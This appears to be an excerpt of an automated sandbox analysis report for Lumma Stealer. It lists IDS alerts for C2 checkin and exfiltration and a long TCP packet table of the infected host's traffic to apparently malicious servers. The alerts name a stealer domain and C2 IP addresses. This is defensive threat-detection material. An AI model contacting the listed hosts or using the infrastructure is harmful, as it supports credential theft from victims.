2024-10-30T15:44:33.190335+0100	2057086	ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI)	1	192.168.2.6	49986	172.67.145.203	443	TCP
2024-10-30T15:44:33.660248+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49986	172.67.145.203	443	TCP
2024-10-30T15:44:33.660248+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49986	172.67.145.203	443	TCP
2024-10-30T15:44:34.544726+0100	2057086	ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI)	1	192.168.2.6	49987	172.67.145.203	443	TCP
2024-10-30T15:44:35.708121+0100	2057086	ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI)	1	192.168.2.6	49988	172.67.145.203	443	TCP
2024-10-30T15:44:37.421979+0100	2057086	ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI)	1	192.168.2.6	49989	172.67.145.203	443	TCP
2024-10-30T15:44:38.811675+0100	2057086	ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI)	1	192.168.2.6	49990	172.67.145.203	443	TCP
2024-10-30T15:44:39.273137+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49990	172.67.145.203	443	TCP
2024-10-30T15:44:39.885987+0100	2057086	ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI)	1	192.168.2.6	49991	172.67.145.203	443	TCP
2024-10-30T15:44:41.096945+0100	2057086	ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI)	1	192.168.2.6	49992	172.67.145.203	443	TCP
2024-10-30T15:44:42.211836+0100	2057086	ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI)	1	192.168.2.6	49993	172.67.145.203	443	TCP
2024-10-30T15:44:43.297089+0100	2057086	ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI)	1	192.168.2.6	49994	172.67.145.203	443	TCP
2024-10-30T15:44:43.750650+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49994	172.67.145.203	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 15:44:31.402551889 CET	49985	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:31.402631044 CET	443	49985	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:31.402724028 CET	49985	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:31.405836105 CET	49985	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:31.405858994 CET	443	49985	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:32.022587061 CET	443	49985	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:32.022744894 CET	49985	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:32.024600983 CET	49985	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:32.024612904 CET	443	49985	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:32.024864912 CET	443	49985	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:32.074982882 CET	49985	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:32.079988956 CET	49985	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:32.079988956 CET	49985	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:32.080130100 CET	443	49985	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:32.514437914 CET	443	49985	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:32.514559031 CET	443	49985	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:32.514625072 CET	49985	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:32.516701937 CET	49985	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:32.516719103 CET	443	49985	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:32.571798086 CET	49986	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:32.571899891 CET	443	49986	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:32.572082996 CET	49986	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:32.572284937 CET	49986	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:32.572326899 CET	443	49986	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:33.190246105 CET	443	49986	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:33.190335035 CET	49986	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:33.191973925 CET	49986	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:33.192013979 CET	443	49986	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:33.192348957 CET	443	49986	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:33.193569899 CET	49986	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:33.193623066 CET	49986	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:33.193669081 CET	443	49986	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:33.660267115 CET	443	49986	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:33.660329103 CET	443	49986	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:33.660363913 CET	443	49986	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:33.660407066 CET	443	49986	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:33.660403967 CET	49986	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:33.660475016 CET	443	49986	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:33.660516024 CET	49986	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:33.660563946 CET	443	49986	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:33.660628080 CET	49986	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:33.660646915 CET	443	49986	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:33.660897017 CET	443	49986	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:33.660937071 CET	443	49986	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:33.661106110 CET	49986	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:33.661122084 CET	443	49986	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:33.661183119 CET	49986	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:33.777374029 CET	443	49986	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:33.777451992 CET	443	49986	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:33.777503967 CET	443	49986	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:33.777522087 CET	49986	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:33.777538061 CET	443	49986	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:33.777597904 CET	443	49986	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:33.777640104 CET	49986	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:33.777697086 CET	443	49986	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:33.777749062 CET	49986	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:33.777889967 CET	49986	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:33.777930021 CET	443	49986	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:33.777956009 CET	49986	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:33.777971029 CET	443	49986	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:33.807931900 CET	49987	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:33.807992935 CET	443	49987	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:33.808072090 CET	49987	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:33.808352947 CET	49987	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:33.808368921 CET	443	49987	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:34.544640064 CET	443	49987	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:34.544725895 CET	49987	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:34.546602964 CET	49987	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:34.546617031 CET	443	49987	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:34.546942949 CET	443	49987	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:34.548403025 CET	49987	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:34.548577070 CET	49987	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:34.548609018 CET	443	49987	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:35.073137045 CET	443	49987	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:35.073268890 CET	443	49987	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:35.073379993 CET	49987	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:35.073708057 CET	49987	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:35.073731899 CET	443	49987	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:35.089554071 CET	49988	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:35.089593887 CET	443	49988	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:35.089674950 CET	49988	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:35.089960098 CET	49988	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:35.089976072 CET	443	49988	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:35.708029985 CET	443	49988	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:35.708121061 CET	49988	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:35.710968018 CET	49988	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:35.710978985 CET	443	49988	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:35.711323023 CET	443	49988	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:35.712474108 CET	49988	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:35.712615013 CET	49988	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:35.712656021 CET	443	49988	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:35.712712049 CET	49988	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:35.712719917 CET	443	49988	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:36.466659069 CET	443	49988	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:36.466770887 CET	443	49988	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:36.466856003 CET	49988	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:36.467097044 CET	49988	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:36.467117071 CET	443	49988	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:36.541524887 CET	49989	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:36.541563988 CET	443	49989	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:36.541677952 CET	49989	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:36.542046070 CET	49989	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:36.542058945 CET	443	49989	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:37.421816111 CET	443	49989	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:37.421978951 CET	49989	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:37.448329926 CET	49989	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:37.448349953 CET	443	49989	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:37.448672056 CET	443	49989	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:37.450273037 CET	49989	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:37.450555086 CET	49989	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:37.450577974 CET	443	49989	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:37.450633049 CET	49989	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:37.450639009 CET	443	49989	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:38.113867998 CET	443	49989	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:38.114001989 CET	443	49989	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:38.114078045 CET	49989	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:38.116168976 CET	49989	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:38.116189957 CET	443	49989	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:38.194308996 CET	49990	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:38.194344997 CET	443	49990	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:38.194446087 CET	49990	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:38.194797993 CET	49990	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:38.194814920 CET	443	49990	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:38.811604977 CET	443	49990	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:38.811675072 CET	49990	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:38.813169003 CET	49990	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:38.813179970 CET	443	49990	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:38.813493013 CET	443	49990	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:38.814626932 CET	49990	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:38.814726114 CET	49990	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:38.814768076 CET	443	49990	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:39.273139000 CET	443	49990	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:39.273257017 CET	443	49990	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:39.273323059 CET	49990	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:39.273469925 CET	49990	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:39.273484945 CET	443	49990	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:39.282275915 CET	49991	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:39.282311916 CET	443	49991	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:39.282383919 CET	49991	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:39.282706976 CET	49991	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:39.282717943 CET	443	49991	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:39.885803938 CET	443	49991	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:39.885987043 CET	49991	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:39.887507915 CET	49991	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:39.887514114 CET	443	49991	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:39.887813091 CET	443	49991	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:39.889094114 CET	49991	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:39.889370918 CET	49991	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:39.889406919 CET	443	49991	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:40.376058102 CET	443	49991	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:40.376194954 CET	443	49991	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:40.376305103 CET	49991	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:40.376465082 CET	49991	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:40.376477957 CET	443	49991	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:40.478426933 CET	49992	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:40.478458881 CET	443	49992	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:40.478521109 CET	49992	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:40.478847027 CET	49992	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:40.478864908 CET	443	49992	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:41.096831083 CET	443	49992	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:41.096945047 CET	49992	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:41.098248005 CET	49992	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:41.098259926 CET	443	49992	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:41.098495960 CET	443	49992	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:41.099694014 CET	49992	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:41.099787951 CET	49992	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:41.099796057 CET	443	49992	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:41.564413071 CET	443	49992	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:41.564511061 CET	443	49992	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:41.564557076 CET	49992	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:41.564650059 CET	49992	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:41.564666033 CET	443	49992	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:41.610400915 CET	49993	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:41.610493898 CET	443	49993	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:41.610586882 CET	49993	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:41.610877991 CET	49993	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:41.610915899 CET	443	49993	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:42.211700916 CET	443	49993	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:42.211836100 CET	49993	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:42.213321924 CET	49993	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:42.213339090 CET	443	49993	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:42.213581085 CET	443	49993	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:42.214764118 CET	49993	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:42.214865923 CET	49993	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:42.214874029 CET	443	49993	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:42.680257082 CET	443	49993	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:42.680344105 CET	443	49993	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:42.680430889 CET	49993	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:42.680535078 CET	49993	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:42.680577993 CET	443	49993	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:42.683641911 CET	49994	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:42.683679104 CET	443	49994	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:42.683758974 CET	49994	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:42.684062004 CET	49994	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:42.684077978 CET	443	49994	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:43.296996117 CET	443	49994	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:43.297089100 CET	49994	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:43.298342943 CET	49994	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:43.298353910 CET	443	49994	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:43.298585892 CET	443	49994	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:43.299674988 CET	49994	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:43.299719095 CET	49994	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:43.299751997 CET	443	49994	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:43.750672102 CET	443	49994	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:43.751002073 CET	443	49994	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:43.751059055 CET	49994	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:43.751247883 CET	49994	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:43.751271963 CET	443	49994	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:43.751283884 CET	49994	443	192.168.2.6	172.67.145.203
Oct 30, 2024 15:44:43.751290083 CET	443	49994	172.67.145.203	192.168.2.6
Oct 30, 2024 15:44:43.753113985 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:43.758677006 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:43.758750916 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:43.758893013 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:43.764437914 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.257751942 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.257778883 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.257793903 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.257869959 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.257882118 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.257901907 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.257924080 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.257931948 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.257936954 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.257950068 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.257956982 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.257963896 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.257977962 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.257991076 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.257992983 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.258028984 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.258137941 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.258178949 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.263705969 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.263765097 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.266146898 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.266165972 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.266201019 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.268950939 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.269056082 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.269104004 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.271398067 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.271419048 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.271461964 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.274322033 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.274341106 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.274358034 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.274384975 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.276669025 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.276699066 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.276717901 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.279680014 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.279710054 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.279737949 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.281904936 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.281929970 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.281965017 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.284895897 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.284920931 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.284941912 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.287136078 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.287166119 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.287183046 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.287189960 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.287234068 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.290159941 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.290182114 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.290229082 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.292413950 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.292435884 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.292480946 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.295401096 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.295423031 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.295479059 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.297703981 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.297715902 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.297765970 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.300652027 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.300664902 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.300677061 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.300714970 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.302969933 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.302983046 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.303016901 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.305903912 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.305931091 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.305963993 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.308232069 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.308245897 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.308279991 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.311192989 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.311207056 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.311218977 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.311247110 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.311261892 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.313508034 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.313522100 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.313569069 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.316452026 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.316467047 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.316514969 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.318759918 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.318773031 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.318820953 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.321758032 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.321772099 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.321813107 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.324007988 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.324021101 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.324032068 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.324178934 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.327001095 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.327022076 CET	80	49995	147.45.47.81	192.168.2.6
